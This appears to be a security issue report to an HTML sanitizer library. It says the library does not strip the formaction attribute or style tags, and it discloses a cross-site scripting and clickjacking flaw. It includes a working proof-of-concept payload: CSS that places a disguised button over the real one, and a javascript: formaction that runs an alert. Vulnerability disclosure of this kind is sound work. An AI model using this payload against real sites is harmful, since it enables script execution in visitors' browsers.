[Security Issue] XSS via formaction attribute

[AlbertoFDR]

Description

The library currently does not sanitize the formaction attribute or style tag. This opens the possibility of a clickjacking attack. An attacker can create a button styled to mimic the legitimate appearance of the hosting page. When a user interacts with this deceptive button, the malicious payload defined in the formaction attribute gets executed. Note that this is just one example of the countless ways an attacker could deceive a user into clicking the button, like setting the display: none of the real button.

Example

<style>
/* Replicate the appearance of a legitimate button and move the button to the real button . */
#bubu {
  width: 300px;            /* Adjust width */
  height: 40px;            /* Adjust height */
  padding: 10px;           /* Add inner spacing */
  border: 2px solid #4CAF50; /* Green border */
  border-radius: 8px;      /* Rounded corners */
  font-size: 16px;         /* Increase font size */
  color: #333;             /* Text color */
  background-color: #f9f9f9; /* Light gray background */
  outline: none;           /* Remove default focus outline */
  transition: all 0.3s ease; /* Smooth hover effects */
  /* Put our button above the real button */
  position: fixed;                                                                                                                                                                            
  bottom: 55%;                                                                                                                                                                                
  left: 65%;                                                                                                                                                                                  
  transform: translateX(-50%);                                                                                                                                                                
  transform: scale(1.5);                                                                                                                                                                      
  z-index: 999999; 
}
</style>
<form id="attackerform">
  <button form="attackerform" id="bubu" formaction="javascript:alert(window.origin)">
  Click!
  </button>
</form>